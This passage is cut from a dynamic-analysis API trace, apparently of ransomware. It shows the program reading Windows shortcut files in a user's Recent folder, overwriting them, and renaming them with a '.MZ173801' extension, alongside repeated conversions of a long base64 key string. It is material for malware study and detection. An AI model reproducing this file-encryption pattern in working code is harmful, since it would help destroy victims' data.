kwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.708] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.709] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.709] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x52a [0121.709] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.709] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x52a, lpOverlapped=0x0) returned 1 [0121.710] CloseHandle (hObject=0x288) returned 1 [0121.710] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.711] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x52a, lpOverlapped=0x0) returned 1 [0121.712] CloseHandle (hObject=0x288) returned 1 [0121.713] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk.mz173801")) returned 1 [0121.714] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde338b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb78b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb78b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x54f, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="My Pictures.lnk", cAlternateFileName="MYPICT~1.LNK")) returned 1 [0121.714] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.715] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde338b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfb78b20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfb78b20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x54f)) returned 1 [0121.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.718] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.718] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.718] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x54f [0121.718] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.718] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x54f, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x54f, lpOverlapped=0x0) returned 1 [0121.719] CloseHandle (hObject=0x288) returned 1 [0121.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.721] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x54f, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x54f, lpOverlapped=0x0) returned 1 [0121.721] CloseHandle (hObject=0x288) returned 1 [0121.726] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk.mz173801")) returned 1 [0121.728] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde821860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfae05a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfae05a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x539, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="My Videos.lnk", cAlternateFileName="MYVIDE~1.LNK")) returned 1 [0121.728] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.728] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.728] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Videos.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my videos.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde821860, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfae05a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfae05a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x539)) returned 1 [0121.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3